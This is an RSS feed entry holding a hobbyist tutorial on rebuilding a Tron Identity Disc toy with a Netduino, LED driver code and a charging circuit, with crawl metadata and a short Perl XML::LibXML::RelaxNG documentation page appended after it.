Channel 9 Microsoft http://mschnlnine.vo.llnwd.net/d1/Dev/App_Themes/C9/images/feedimage.png Channel 9 http://channel9.msdn.com/Niners/c4f.Harford-Hackerspace/Posts Channel 9 keeps you up to date with the latest news and behind the scenes info from Microsoft that developers love to keep up with. From LINQ to SilverLight – Watch videos and hear about all the cool technologies coming and the people behind them. http://channel9.msdn.com/Niners/c4f.Harford-Hackerspace/Posts en Wed, 27 Aug 2014 23:28:57 GMT Wed, 27 Aug 2014 23:28:57 GMT Rev9 1 1 25 Tron Disc with .NET Microframework Harford Hackerspace wanted to make our own Tron Identity Disc using the Netduino, allowing us to quickly load different versions of code to change the disc's functionality.   David Powell, Gary W. Cygiel, Jeremy Ashinghurst, Paul King, Jason McMahon present a simple lightshow in this tutorial, developers can easily extend the code and hardware to produce an interactive game. To get started, we purchased and retrofitted a Spin Master Tron Identity Disc replica, which kept us from having to create a new physical disk, and so sidestepped the most difficult aspect of the project. Operation Specifications We decided that we wanted our version of the Tron Idenity Disc to have the following specifications: Power • Rechargeable lithium-ion battery • LED to indicate the Tron Identity Disc is being charged • An On/Off switch enabling the battery to disconnect from the Netduino to conserve power while the disc is being stored Operation • Scenario 1 - Power On • All LEDs turn on so we can make sure they are all working • Scenario 2 – Animations • Pressing a momentary button will cycle through LED animations • Scenario 3 – Charge Detection • Placing the Tron Idenity Disc on or removing the Tron Identity Disc from a charging station will raise an event handler. Placing the disc on the charger will start a pulsating animation. Removing the disc will resume the previous animation. Hardware Tron Disc Light Ring The original DeluxeTronIdentityDisc contained six LED on the outer ring, which left much to be desired. Our modified disc includes 30 LEDs on the outer ring and two LEDs illuminating the inner arc. To get started, we opened the disc by removing its four Phillips head screws. Next, we removed all electronics including the wires, tilt sensor, LEDs, switch, speaker, and microcontroller board, taking care to not lose the plastic momentary button, since we later used it to switch between our animations. Then, we used a Dremel with a cutoff wheel to remove any unnecessary plastic in order to make room our own electronics. See Figure 1. Empty_Disc Figure 1: Removed Plastic with Dremel As shown in Figure 2, we used superglue to attach the narrow end of the momentary button to the plastic Tron ring. Then, using the Dremel, we cut a small L bracket from a scrap piece of acrylic and attached it with cyanoacrylate. We reinforced the L bracket using hot glue and applied a small amount of cyanoacrylate to the momentary switch and attached it to the L bracket. Consequently, the original plastic momentary button now activates our momentary switch. While we had the hot glue gun out, we also attached the SPST On/Off switch and the two inner ring LEDs. mounting_switch Figure 2: Mounting Momentary Switch Next, we cut a circle from a piece of cardboard. Using a straight edge, we carefully marked the location of each LED to arrange an equally spaced circular pattern. Then, with a hobby razor knife, we cut notches in the cardboard at a slight angle to hold the LEDs. An additional benefit of the cardboard is it helps keep the anodes and cathodes from shorting out. clip_image006 Figure 3: LED Nestled in Notched Cardboard Next, we connected all of the components together per the following schematic diagrams. The MAX7219 IC is capable of controlling 64 LEDs. However, we chose to use only 30 in order to simplify of wiring. The circuit is divided into five segments, each containing six LEDs. In each segment, all the cathodes are tied together and then tied to a single segment pin on the MAX7219 and the anodes are routed back to its digit pins. There is one digit for each LED in the segment and the segments share digit pins. The Netduino controls the logic level of the digit and segment pins using “bit-banged” I2C. All that said, the schematic is the best reference as to how the LEDs were wired. 3 Figure 4: Netduino and MAX7219 Schematic Charging System The charging system is comprised of a charging circuit and a detection circuit. A lithium-ion battery inside the disc is charged from an external power source. The charging circuit, which was modified from a design by Scott Henion ofSHDesigns.org, provides a method of safe charging. The detection circuit allows the Netduino to know when it's being charged. Charging Circuit 1 Figure 5: Charging Station Schematic The LM317 is an adjustable voltage regulator that may also be used as an adjustable constant-current source. In this case, it's used as a voltage regulator. The 470 ohm resistor forms a voltage divider with the 1k ohm potentiometer and the 2.2k ohm resistor to set the output voltage at 8.4V. Since lithium-ion batteries should be charged using constant current-constant voltage, the transistor and resistor form the current limiting in the circuit. When the charge current reaches a certain threshold, the resistor's voltage drop exceeds the turn-on voltage of the transistor and the transistor starts to conduct. That takes current away from the voltage divider, dropping the voltage until the current is below the threshold. In this way, the current is limited until the voltage limit is reached; then, the current slowly drops off at a constant voltage. Detection circuit Tron_Battery_Updated Figure 6: Charge Detection Schematic The detection circuit works by applying a voltage to the disc whenever it is plugged in. When the disc is plugged in, 8.4V from the charger run through the 470 ohm resistor, then most of the current runs through the LED while a minimal amount runs through the 10k ohm resistor. The voltage to the Netduino is the voltage across the LED, equaling somewhere around 3V. When the charger is disconnected, however, the 10K ohm resistor pulls the voltage detection line to 0V. SW2 is a disconnect switch which feeds the main power to the Netduino. From there we use the Netduino's 5v power supply. After all the connections were made we carefully placed all the wires and components inside the disc. We learned the hard way that you must pay extra attention since it's very easy to put a screw through one of your wires. tucking_components Creating a driver for the MAX7219: To create a driver for the MAX7219, we took a little information from the data sheet. First, we created a basic class structure and initialized some static defines for the command reference as well as a few OutputPort's to hold our pin's to bit-bang. We bit-banged the protocol because the SPI implementation of the MAX7219 isn't 100% compliant with the Netduino's SPI Library: namespace TronDisc { public class max7219 { // Command reference public byte max7219_reg_noop = 0x00; public byte max7219_reg_digit0 = 0x01; public byte max7219_reg_digit1 = 0x02; public byte max7219_reg_digit2 = 0x03; public byte max7219_reg_digit3 = 0x04; public byte max7219_reg_digit4 = 0x05; public byte max7219_reg_digit5 = 0x06; public byte max7219_reg_digit6 = 0x07; public byte max7219_reg_digit7 = 0x08; public byte max7219_reg_decodeMode = 0x09; public byte max7219_reg_intensity = 0x0a; public byte max7219_reg_scanLimit = 0x0b; public byte max7219_reg_shutdown = 0x0c; public byte max7219_reg_displayTest = 0x0f; // Pin ports for spi private OutputPort loadPin; private OutputPort dataPin; private OutputPort clkPin; // Constructor, pass pin definitions public max7219( OutputPort in_dataPin, OutputPort in_clockPin, OutputPort in_loadPin ) { // Assign local port pins to ports passed from constructor dataPin = in_dataPin; clkPin = in_clockPin; loadPin = in_loadPin; } } } Next we added a method to our class to transmit a single byte to the MAX7219: // Transmits 1 byte over SPI, bitbang method public void putByte(byte data) { byte i = 8; int mask; while (i > 0) { mask = (1 << i - 1); clkPin.Write(false); if (((int)data & mask) == 0) dataPin.Write(false); else dataPin.Write(true); clkPin.Write(true); --i; } } And finally, we added one more method that pulled our load pin low, transmitted the register and column bytes, and pulled load high again to latch the data: // Sends 1 Command / Data pair to a single driver chip public void maxSingle(byte reg, byte col) { // LOAD low loadPin.Write(false); // Transmit Register putByte(reg); // Transmit Column putByte(col); // LOAD high latches data sent loadPin.Write(true); } Complete with a function to send commands to the MAX via the maxSingle, we went back to our constructor and passed some initialization values after our pin assignments. maxSingle is so named because it only addresses one MAX7219, and since they are daisy-chainable, we can control multiple MAX7219s with little modification to our code: // Initialize MAX7219 // set scan limit maxSingle(max7219_reg_scanLimit, 0x07); // using an led matrix mode (not digits) maxSingle(max7219_reg_decodeMode, 0x00); // not in shutdown mode maxSingle(max7219_reg_shutdown, 0x01); // no display test maxSingle(max7219_reg_displayTest, 0x00); // set max intensity (range 00-0f) maxSingle(max7219_reg_intensity, 0x0f); Using the driver: To use the driver, we created a variable to hold the instance of our driver, created the actual OutputPort references to pins, and passed to our instanced MAX7219 driver. The pins we are using are D10, D11, D13: public static max7219 driver; public static void Main() { // Define spi pins OutputPort loadPin = new OutputPort(Pins.GPIO_PIN_D10, false); OutputPort dataPin = new OutputPort(Pins.GPIO_PIN_D11, false); OutputPort clkPin = new OutputPort(Pins.GPIO_PIN_D13, false); // Instance of driver, passing pin assignments driver = new max7219(dataPin, clkPin, loadPin); } At this point, we used our driver by calling driver.maxSingle(reg, col) to light either a single LED or a group of LEDs depending on specifications. Animations We completed two different types of animations, one based off of an algorithm and one using frame-by-frame animation for more complex patterns. Our first animation is my personal favorite, the pulsating animation, which uses pulses to raise and lower the brightness: // Main loop while (true) { // if direction is 1, we are going to fade down if (dir == 1) cnt--; else // otherwise fade up cnt++; // if direction is fading down and we are at 0 (the bottom) // switch directions to fading up if (dir == 1 && cnt == 0) dir = 0; // and if we are fading up (dir == 0) and we are at the max intensity // lets start fading down else if (dir == 0 && cnt == 15) dir = 1; // loop through driver.MAX7219_reg_digit0-7 and make sure all led's // are on by passing 0xFF which is all 8 bits on per digit for (j = 1; j < 8; j++) driver.maxSingle(j, 0xFF); // Pass the cnt value to the intensity register driver.maxSingle(driver.max7219_reg_intensity, (byte)(cnt & 0x0f)); // Add a small delay between levels of intensity Thread.Sleep(15); } Wow, that looks great! Now we can create all kinds of animations using simple algorithms. To create more complex animations, however, a simpler method was needed. The disc is wired up around the ring using five digits of six LED segments. To simplify the math, we made a graphical ring of 30 LEDs, recorded each frame, and stored five characters per frame using six bits per character. The creator is posted on the web at http://harfordhackerspace.org/ledwiz/tron/ and was created using HTML/Javascript and CSS. We won't get into the details of that code in this article, but feel free to use it to create as many animations as your Netduino will hold! After creating an animation, click the ‘generate' button to get an output similar to the following: byte[] animation = new byte[] { 0x2,0x11,0x4,0x21,0x8, 0x4,0x22,0x8,0x2,0x11, 0x8,0x4,0x11,0x4,0x22 }; Here you can see three frames (one line per frame) with five characters using six bits per character. To display the animation, keep track of which digit (0-5) is active as the register and pass the character as the column: int i; for (i = 0; i < animation.Length; i++) { driver.maxSingle((byte)((i % 5) + 1), animation[i]); } It's a simple animation. To slow it down, add a Thread.sleep(x) (x being the number of milliseconds between each command). Dealing with multiple frame by frame animations To create multi-frame animations, make a multi-dimensional array and modify the code to support multiple animations: byte animation_num = 0; int i; byte[][] animations = new byte[][] { new byte[] { 0x2,0x11,0x4,0x21,0x8, 0x4,0x22,0x8,0x2,0x11, 0x8,0x4,0x11,0x4,0x22 }, new byte[] { 0x1,0x10,0x2,0x8,0x2, 0x3,0x18,0x6,0x2,0x8, 0x7,0x3,0x18,0x1,0x8 } } // Main loop while (true) { for (i = 0; i < animations[animation_num].Length; i++) { driver.maxSingle((byte)((i % 5) + 1), animations[animation_num][i]); } } Once it hits the main loop, it will keep playing the first animation (which is 0) until a change in the value of animation_num to 1 (then it will play the second animation). A method is needed to read the button on the Disc and increment/loop the animation_num value. To do this, use the InterruptPort class. First, add the InterruptPort code to the Main() function before the Main loop: // Tron Button to Change Annimations, pulls high InterruptPort changeBtn = new InterruptPort( Pins.GPIO_PIN_D0, false, Port.ResistorMode.Disabled, Port.InterruptMode.InterruptEdgeHigh); changeBtn.OnInterrupt += new NativeEventHandler(changeBtn_OnInterrupt); Then, add a method called changeBtn_OnInterrupt to the program: //Interrupt Handler for changeBtn to change annimations static void changeBtn_OnInterrupt(uint data1, uint data2, DateTime time) { if (++new_animation_num > animation_total) { new_animation_num = 0; } // reset intensity to max incase previous animation exits with // intensity less than max driver.maxSingle(driver.max7219_reg_intensity, 0x0f); // Print debug string Debug.Print("Animation Num: "); Debug.Print(new_animation_num.ToString()); } Finally, to get it all working, add a switcher at the top of the loop, change the animation_num values to be public throughout the class, as well as static since the program is static: public class Program { public static byte new_animation_num = 0; public static byte animation_num = 0; public static byte animation_total = 2; /* more goodness */ // Main loop while (true) { animation_num = new_animation_num; // adding this to the top of our main loop } /* more goodness */ } Finishing touches To make it all work together, we mixed algorithmic animations by filling our animations array, hard-coded a few “if” statements to do algorithmic animations, as well as “else” statements for all the frame-based animations.  We also added another InterruptHandler to both act like a button when the Disc is placed on the charging dock and change the animation to the pulse animation.  Also, we tested the power by turning on all of the LEDs, waiting three seconds, and then proceeding. About Harford Hackerspace is a non-profit 501(C)(3) charitable organization set forth to create a place for people to collaborate on hardware and software projects. Members of the space have been meeting weekly since January 2009 to socialize, learn, and work on projects related to science and technology. In 2009 they built a Computer Numerical Controller (CNC) Router capable of precision cutting of wood, plastics, and aluminum. In August 2010 Harford Hackerspace hosted the first ever Netduino class with Secret Labs CTO Chris Walker. Most recently in November 2010 Harford Hackerspace won first place in the Baltimore Hackathon with their RotoFoto Project. ]]> http://channel9.msdn.com/coding4fun/articles/Tron-Disc-with-NET-Microframework Harford Hackerspace wanted to make our own Tron Identity Disc using the Netduino, allowing us to quickly load different versions of code to change the disc's functionality. David Powell, Gary W. Cygiel, Jeremy Ashinghurst, Paul King, Jason McMahon present a simple lightshow in this tutorial, developers can easily extend the code and hardware to produce an interactive game. To get started, we purchased and retrofitted a Spin Master Tron Identity Disc replica, which kept us from having to create a new physical disk, and so sidestepped the most difficult aspect of the project. Operation Specifications We decided that we wanted our version of the Tron Idenity Disc to have the following specifications: Power Rechargeable lithium-ion battery LED to indicate the Tron Identity Disc is being charged An On/Off switch enabling the battery to disconnect from the Netduino to conserve power while the disc is being stored Operation Scenario 1 - Power On All LEDs turn on so we can make sure they are all working Scenario 2 – Animations Pressing a momentary button will cycle through LED animations Scenario 3 – Charge Detection Placing the Tron Idenity Disc on or removing the Tron Identity Disc from a charging station will raise an event handler. Placing the disc on the charger will start a pulsating animation. Removing the disc will resume the previous animation. Hardware DeluxeTronIdentityDisc Netduino Dremel with Cutoff Wheel Soldering Iron Solder Hot Glue Gun Phillips Screw Driver Wire Strippers Heat Shrink Lithium-Ion Battery (2x) SPST On/Off Switch SPST Momentary Switch Prototype Board Blue LEDs (33x) MAX7219 LM317T Adjustable Voltage Regulator Heat sink for TO-220 devices 0.1uF capacitor (2x) 2222 Transistor 1k Ohm potentiometer 470 Ohm resistor, ¼ watt (2x) 10k Ohm resistor, ¼ watt 2.2k Ohm resistor ¼ watt 1.5 Ohm resistor, 1 watt 1N4001 Rectifier Diode Tron Disc Light Ring The original DeluxeTronIdentityDisc contained six LED on the outer ring, http://channel9.msdn.com/coding4fun/articles/Tron-Disc-with-NET-Microframework Mon, 13 Dec 2010 16:24:24 GMT http://channel9.msdn.com/coding4fun/articles/Tron-Disc-with-NET-Microframework Harford Hackerspace Harford Hackerspace 9 http://channel9.msdn.com/coding4fun/articles/Tron-Disc-with-NET-Microframework/RSS Hardware Electronics NETMF mods
{ "url": "http://channel9.msdn.com/Niners/c4f.Harford-Hackerspace/RSS", "source_domain": "channel9.msdn.com", "snapshot_id": "crawl=CC-MAIN-2014-35", "warc_metadata": { "Content-Length": "35732", "Content-Type": "application/http; msgtype=response", "WARC-Block-Digest": "sha1:43TRUDN3YV5EZIMGJAJ7OOGUIGMYRCIR", "WARC-Concurrent-To": "<urn:uuid:bcb8cb92-e2c7-449e-a6b5-1019b74db049>", "WARC-Date": "2014-08-27T23:28:57Z", "WARC-IP-Address": "65.52.21.59", "WARC-Identified-Payload-Type": null, "WARC-Payload-Digest": "sha1:7VTNLPWQMZUVQOQQPQXN46M3HRHL5E45", "WARC-Record-ID": "<urn:uuid:669a99dc-ee0d-4aa4-aa07-83f625df7e0f>", "WARC-Target-URI": "http://channel9.msdn.com/Niners/c4f.Harford-Hackerspace/RSS", "WARC-Truncated": null, "WARC-Type": "response", "WARC-Warcinfo-ID": "<urn:uuid:ef80d27c-413d-4489-989f-b90af61c2c4a>" }, "warc_info": "robots: classic\r\nhostname: ip-10-180-136-8.ec2.internal\r\nsoftware: Nutch 1.6 (CC)/CC WarcExport 1.0\r\nisPartOf: CC-MAIN-2014-35\r\noperator: CommonCrawl Admin\r\ndescription: Wide crawl of the web with URLs provided by Blekko for August 2014\r\npublisher: CommonCrawl\r\nformat: WARC File Format 1.0\r\nconformsTo: http://bibnum.bnf.fr/WARC/WARC_ISO_28500_version1_latestdraft.pdf" }
{ "line_start_idx": [ 0, 963, 964, 1169, 1170, 1195, 1196, 1297, 1298, 1304, 1305, 1342, 1402, 1525, 1526, 1536, 1537, 1563, 1627, 1655, 1723, 1757, 2004, 2005, 2014, 2015, 2036, 2037, 2235, 2236, 2676, 2677, 2688, 2689, 2727, 2728, 3191, 3192, 3296, 3297, 3313, 3314, 3350, 3351, 3714, 3715, 3729, 3730, 3773, 3774, 4457, 4458, 4460, 4461, 4502, 4503, 4519, 4520, 4879, 4880, 4897, 4898, 4900, 4901, 4938, 4939, 5797, 5798, 5816, 5817, 5838, 5839, 5876, 5877, 6469, 6470, 6693, 6694, 6713, 6714, 6749, 6750, 7128, 7129, 7148, 7150, 7175, 7181, 7210, 7265, 7320, 7375, 7430, 7485, 7540, 7595, 7650, 7705, 7760, 7815, 7870, 7925, 7980, 7981, 8010, 8046, 8082, 8117, 8118, 8163, 8210, 8258, 8285, 8295, 8366, 8400, 8434, 8468, 8475, 8482, 8484, 8485, 8563, 8564, 8609, 8640, 8642, 8658, 8672, 8673, 8691, 8697, 8726, 8755, 8792, 8826, 8839, 8872, 8900, 8913, 8919, 8921, 8922, 9079, 9080, 9135, 9177, 9179, 9195, 9221, 9222, 9247, 9265, 9288, 9306, 9307, 9342, 9367, 9369, 9370, 9707, 9708, 9730, 9748, 9788, 9829, 9870, 9894, 9933, 9952, 9994, 10030, 10070, 10071, 10089, 10090, 10302, 10303, 10333, 10334, 10360, 10362, 10385, 10452, 10519, 10585, 10586, 10637, 10689, 10691, 10692, 10841, 10842, 10853, 10854, 10998, 10999, 11122, 11123, 11136, 11149, 11151, 11202, 11219, 11232, 11261, 11274, 11275, 11338, 11375, 11404, 11419, 11492, 11521, 11556, 11571, 11572, 11644, 11707, 11734, 11767, 11768, 11819, 11890, 11891, 11943, 11964, 11966, 11967, 12353, 12354, 12621, 12622, 12722, 12723, 12755, 12780, 12805, 12829, 12832, 12833, 13057, 13058, 13065, 13066, 13105, 13107, 13164, 13166, 13167, 13290, 13291, 13339, 13340, 13457, 13458, 13482, 13489, 13524, 13526, 13540, 13545, 13574, 13603, 13631, 13637, 13651, 13656, 13684, 13712, 13739, 13744, 13746, 13759, 13772, 13774, 13832, 13837, 13912, 13917, 13919, 13920, 14094, 14095, 14230, 14231, 14310, 14311, 14360, 14387, 14409, 14434, 14448, 14482, 14527, 14599, 14600, 14664, 14665, 14721, 14794, 14796, 14843, 14849, 14880, 14886, 14887, 14956, 14988, 15046, 15047, 15073, 15109, 15156, 15158, 15159, 15344, 15345, 15366, 15368, 15414, 15456, 15500, 15501, 15525, 15526, 15543, 15560, 15566, 15609, 15610, 15661, 15667, 15691, 15693, 15694, 15712, 15713, 16198, 16199, 16205, 16206, 16863, 16864, 16868 ], "line_end_idx": [ 963, 964, 1169, 1170, 1195, 1196, 1297, 1298, 1304, 1305, 1342, 1402, 1525, 1526, 1536, 1537, 1563, 1627, 1655, 1723, 1757, 2004, 2005, 2014, 2015, 2036, 2037, 2235, 2236, 2676, 2677, 2688, 2689, 2727, 2728, 3191, 3192, 3296, 3297, 3313, 3314, 3350, 3351, 3714, 3715, 3729, 3730, 3773, 3774, 4457, 4458, 4460, 4461, 4502, 4503, 4519, 4520, 4879, 4880, 4897, 4898, 4900, 4901, 4938, 4939, 5797, 5798, 5816, 5817, 5838, 5839, 5876, 5877, 6469, 6470, 6693, 6694, 6713, 6714, 6749, 6750, 7128, 7129, 7148, 7150, 7175, 7181, 7210, 7265, 7320, 7375, 7430, 7485, 7540, 7595, 7650, 7705, 7760, 7815, 7870, 7925, 7980, 7981, 8010, 8046, 8082, 8117, 8118, 8163, 8210, 8258, 8285, 8295, 8366, 8400, 8434, 8468, 8475, 8482, 8484, 8485, 8563, 8564, 8609, 8640, 8642, 8658, 8672, 8673, 8691, 8697, 8726, 8755, 8792, 8826, 8839, 8872, 8900, 8913, 8919, 8921, 8922, 9079, 9080, 9135, 9177, 9179, 9195, 9221, 9222, 9247, 9265, 9288, 9306, 9307, 9342, 9367, 9369, 9370, 9707, 9708, 9730, 9748, 9788, 9829, 9870, 9894, 9933, 9952, 9994, 10030, 10070, 10071, 10089, 10090, 10302, 10303, 10333, 10334, 10360, 10362, 10385, 10452, 10519, 10585, 10586, 10637, 10689, 10691, 10692, 10841, 10842, 10853, 10854, 10998, 10999, 11122, 11123, 11136, 11149, 11151, 11202, 11219, 11232, 11261, 11274, 11275, 11338, 11375, 11404, 11419, 11492, 11521, 11556, 11571, 11572, 11644, 11707, 11734, 11767, 11768, 11819, 11890, 11891, 11943, 11964, 11966, 11967, 12353, 12354, 12621, 12622, 12722, 12723, 12755, 12780, 12805, 12829, 12832, 12833, 13057, 13058, 13065, 13066, 13105, 13107, 13164, 13166, 13167, 13290, 13291, 13339, 13340, 13457, 13458, 13482, 13489, 13524, 13526, 13540, 13545, 13574, 13603, 13631, 13637, 13651, 13656, 13684, 13712, 13739, 13744, 13746, 13759, 13772, 13774, 13832, 13837, 13912, 13917, 13919, 13920, 14094, 14095, 14230, 14231, 14310, 14311, 14360, 14387, 14409, 14434, 14448, 14482, 14527, 14599, 14600, 14664, 14665, 14721, 14794, 14796, 14843, 14849, 14880, 14886, 14887, 14956, 14988, 15046, 15047, 15073, 15109, 15156, 15158, 15159, 15344, 15345, 15366, 15368, 15414, 15456, 15500, 15501, 15525, 15526, 15543, 15560, 15566, 15609, 15610, 15661, 15667, 15691, 15693, 15694, 15712, 15713, 16198, 16199, 16205, 16206, 16863, 16864, 16868, 19260 ] }
{ "red_pajama_v2": { "ccnet_original_length": 19260, "ccnet_original_nlines": 344, "rps_doc_curly_bracket": 0.0019729998894035816, "rps_doc_ldnoobw_words": 0, "rps_doc_lorem_ipsum": 0, "rps_doc_stop_word_fraction": 0.2862493395805359, "rps_doc_ut1_blacklist": 0, "rps_doc_frac_all_caps_words": 0.0203317292034626, "rps_doc_frac_lines_end_with_ellipsis": 0, "rps_doc_frac_no_alph_words": 0.2415730357170105, "rps_doc_frac_unique_words": 0.3173784911632538, "rps_doc_mean_word_length": 5.32511043548584, "rps_doc_num_sentences": 144, "rps_doc_symbol_to_word_ratio": 0, "rps_doc_unigram_entropy": 5.891611099243164, "rps_doc_word_count": 2716, "rps_doc_frac_chars_dupe_10grams": 0.14768719673156738, "rps_doc_frac_chars_dupe_5grams": 0.17548227310180664, "rps_doc_frac_chars_dupe_6grams": 0.1579202115535736, "rps_doc_frac_chars_dupe_7grams": 0.1550162434577942, "rps_doc_frac_chars_dupe_8grams": 0.1550162434577942, "rps_doc_frac_chars_dupe_9grams": 0.1550162434577942, "rps_doc_frac_chars_top_2gram": 0.004839939996600151, "rps_doc_frac_chars_top_3gram": 0.00885017029941082, "rps_doc_frac_chars_top_4gram": 0.0049782199785113335, "rps_doc_books_importance": -1909.7252197265625, "rps_doc_books_importance_length_correction": -1909.7252197265625, "rps_doc_openwebtext_importance": -948.36376953125, "rps_doc_openwebtext_importance_length_correction": -948.36376953125, "rps_doc_wikipedia_importance": -833.9542236328125, "rps_doc_wikipedia_importance_length_correction": -833.9542236328125 }, "fasttext": { "dclm": 0.10293226689100266, "english": 0.8117086291313171, "fineweb_edu_approx": 2.4503629207611084, "eai_general_math": 0.3803567886352539, "eai_open_web_math": 0.10893934965133667, "eai_web_code": 0.49506938457489014 } }
{ "free_decimal_correspondence": { "primary": { "code": "004.08956", "labels": { "level_1": "General works, books and libraries, information sciences", "level_2": "", "level_3": "Computers and Computer science" } }, "secondary": { "code": "621.392", "labels": { "level_1": "Industrial arts, Technology, and Engineering", "level_2": "Engineering", "level_3": "Mechanical engineering and Machinery" } } }, "bloom_cognitive_process": { "primary": { "code": "3", "label": "Apply" }, "secondary": { "code": "2", "label": "Understand" } }, "bloom_knowledge_domain": { "primary": { "code": "3", "label": "Procedural" }, "secondary": { "code": "2", "label": "Conceptual" } }, "document_type_v1": { "primary": { "code": "3", "label": "Reference/Encyclopedic/Educational" }, "secondary": { "code": "4", "label": "Code/Software" } }, "extraction_artifacts": { "primary": { "code": "0", "label": "No Artifacts" }, "secondary": { "code": "3", "label": "Irrelevant Content" } }, "missing_content": { "primary": { "code": "0", "label": "No missing content" }, "secondary": { "code": "4", "label": "Missing Images or Figures" } }, "document_type_v2": { "primary": { "code": "23", "label": "Tutorial" }, "secondary": { "code": "8", "label": "Documentation" } }, "reasoning_depth": { "primary": { "code": "3", "label": "Intermediate Reasoning" }, "secondary": { "code": "2", "label": "Basic Reasoning" } }, "technical_correctness": { "primary": { "code": "4", "label": "Highly Correct" }, "secondary": { "code": "3", "label": "Mostly Correct" } }, "education_level": { "primary": { "code": "3", "label": "Undergraduate Level" }, "secondary": { "code": "2", "label": "High School Level" } } }
e3c4dd7183f5f028f56d5a7988cc68c4
4,154,341,686,876,094,500
++ed by: ARJONES GORTAN SALVA ABRAXXA ADAMJS 48 PAUSE users 33 non-PAUSE users. Shlomi Fish and 1 contributors NAME XML::LibXML::RelaxNG - RelaxNG Schema Validation SYNOPSIS use XML::LibXML; $doc = XML::LibXML->new->parse_file($url); $rngschema = XML::LibXML::RelaxNG->new( location => $filename_or_url ); $rngschema = XML::LibXML::RelaxNG->new( string => $xmlschemastring ); $rngschema = XML::LibXML::RelaxNG->new( DOM => $doc ); eval { $rngschema->validate( $doc ); }; DESCRIPTION The XML::LibXML::RelaxNG class is a tiny frontend to libxml2's RelaxNG implementation. Currently it supports only schema parsing and document validation. METHODS new $rngschema = XML::LibXML::RelaxNG->new( location => $filename_or_url ); $rngschema = XML::LibXML::RelaxNG->new( string => $xmlschemastring ); $rngschema = XML::LibXML::RelaxNG->new( DOM => $doc ); The constructor of XML::LibXML::RelaxNG may get called with either one of three parameters. The parameter tells the class from which source it should generate a validation schema. It is important, that each schema only have a single source. The location parameter allows one to parse a schema from the filesystem or a URL. The string parameter will parse the schema from the given XML string. The DOM parameter allows one to parse the schema from a pre-parsed XML::LibXML::Document. Note that the constructor will die() if the schema does not meed the constraints of the RelaxNG specification. validate eval { $rngschema->validate( $doc ); }; This function allows one to validate a (parsed) document against the given RelaxNG schema. The argument of this function should be an XML::LibXML::Document object. If this function succeeds, it will return 0, otherwise it will die() and report the errors found. Because of this validate() should be always evaluated. AUTHORS Matt Sergeant, Christian Glahn, Petr Pajas VERSION 2.0126 COPYRIGHT 2001-2007, AxKit.com Ltd. 2002-2006, Christian Glahn. 2006-2009, Petr Pajas. LICENSE This program is free software; you can redistribute it and/or modify it under the same terms as Perl itself.
{ "url": "https://metacpan.org/pod/release/SHLOMIF/XML-LibXML-2.0126/lib/XML/LibXML/RelaxNG.pod", "source_domain": "metacpan.org", "snapshot_id": "crawl=CC-MAIN-2018-39", "warc_metadata": { "Content-Length": "79283", "Content-Type": "application/http; msgtype=response", "WARC-Block-Digest": "sha1:RUDY4PJRXW4B3RXPMNCVQWD4OY4UNZYA", "WARC-Concurrent-To": "<urn:uuid:bd4b840d-11bb-4bda-92fc-d788a0d5d251>", "WARC-Date": "2018-09-23T00:18:47Z", "WARC-IP-Address": "151.101.194.217", "WARC-Identified-Payload-Type": "text/html", "WARC-Payload-Digest": "sha1:N3ZPBVQPATBQQUZZ57ZUOKFI5MPN3WRG", "WARC-Record-ID": "<urn:uuid:1718eeb9-5b86-4a25-9fe4-5a0f94a583d5>", "WARC-Target-URI": "https://metacpan.org/pod/release/SHLOMIF/XML-LibXML-2.0126/lib/XML/LibXML/RelaxNG.pod", "WARC-Truncated": null, "WARC-Type": "response", "WARC-Warcinfo-ID": "<urn:uuid:50a39d23-0f12-444d-a025-ec6095a70d8b>" }, "warc_info": "isPartOf: CC-MAIN-2018-39\r\npublisher: Common Crawl\r\ndescription: Wide crawl of the web for September 2018\r\noperator: Common Crawl Admin ([email protected])\r\nhostname: ip-10-51-149-184.ec2.internal\r\nsoftware: Apache Nutch 1.15 (modified, https://github.com/commoncrawl/nutch/)\r\nrobots: checked via crawler-commons 0.11-SNAPSHOT (https://github.com/crawler-commons/crawler-commons)\r\nformat: WARC File Format 1.1\r\nconformsTo: http://iipc.github.io/warc-specifications/specifications/warc-format/warc-1.1/" }
{ "line_start_idx": [ 0, 9, 45, 46, 61, 81, 82, 94, 113, 114, 119, 120, 169, 170, 179, 180, 199, 244, 245, 319, 391, 448, 490, 491, 503, 504, 658, 659, 667, 668, 672, 746, 818, 875, 876, 1117, 1118, 1200, 1201, 1271, 1272, 1362, 1363, 1474, 1475, 1484, 1526, 1527, 1844, 1845, 1853, 1854, 1897, 1898, 1906, 1907, 1914, 1915, 1925, 1926, 1952, 1953, 1981, 1982, 2005, 2006, 2014, 2015 ], "line_end_idx": [ 9, 45, 46, 61, 81, 82, 94, 113, 114, 119, 120, 169, 170, 179, 180, 199, 244, 245, 319, 391, 448, 490, 491, 503, 504, 658, 659, 667, 668, 672, 746, 818, 875, 876, 1117, 1118, 1200, 1201, 1271, 1272, 1362, 1363, 1474, 1475, 1484, 1526, 1527, 1844, 1845, 1853, 1854, 1897, 1898, 1906, 1907, 1914, 1915, 1925, 1926, 1952, 1953, 1981, 1982, 2005, 2006, 2014, 2015, 2123 ] }
{ "red_pajama_v2": { "ccnet_original_length": 2123, "ccnet_original_nlines": 67, "rps_doc_curly_bracket": 0.0018841299461200833, "rps_doc_ldnoobw_words": 0, "rps_doc_lorem_ipsum": 0, "rps_doc_stop_word_fraction": 0.24036280810832977, "rps_doc_ut1_blacklist": 0, "rps_doc_frac_all_caps_words": 0.07482992857694626, "rps_doc_frac_lines_end_with_ellipsis": 0, "rps_doc_frac_no_alph_words": 0.3242630362510681, "rps_doc_frac_unique_words": 0.5375939607620239, "rps_doc_mean_word_length": 5.984962463378906, "rps_doc_num_sentences": 20, "rps_doc_symbol_to_word_ratio": 0, "rps_doc_unigram_entropy": 4.638379096984863, "rps_doc_word_count": 266, "rps_doc_frac_chars_dupe_10grams": 0.1658291518688202, "rps_doc_frac_chars_dupe_5grams": 0.19723618030548096, "rps_doc_frac_chars_dupe_6grams": 0.1658291518688202, "rps_doc_frac_chars_dupe_7grams": 0.1658291518688202, "rps_doc_frac_chars_dupe_8grams": 0.1658291518688202, "rps_doc_frac_chars_dupe_9grams": 0.1658291518688202, "rps_doc_frac_chars_top_2gram": 0.10552763938903809, "rps_doc_frac_chars_top_3gram": 0.020728640258312225, "rps_doc_frac_chars_top_4gram": 0.06155778840184212, "rps_doc_books_importance": -176.61135864257812, "rps_doc_books_importance_length_correction": -176.61135864257812, "rps_doc_openwebtext_importance": -85.45818328857422, "rps_doc_openwebtext_importance_length_correction": -85.45818328857422, "rps_doc_wikipedia_importance": 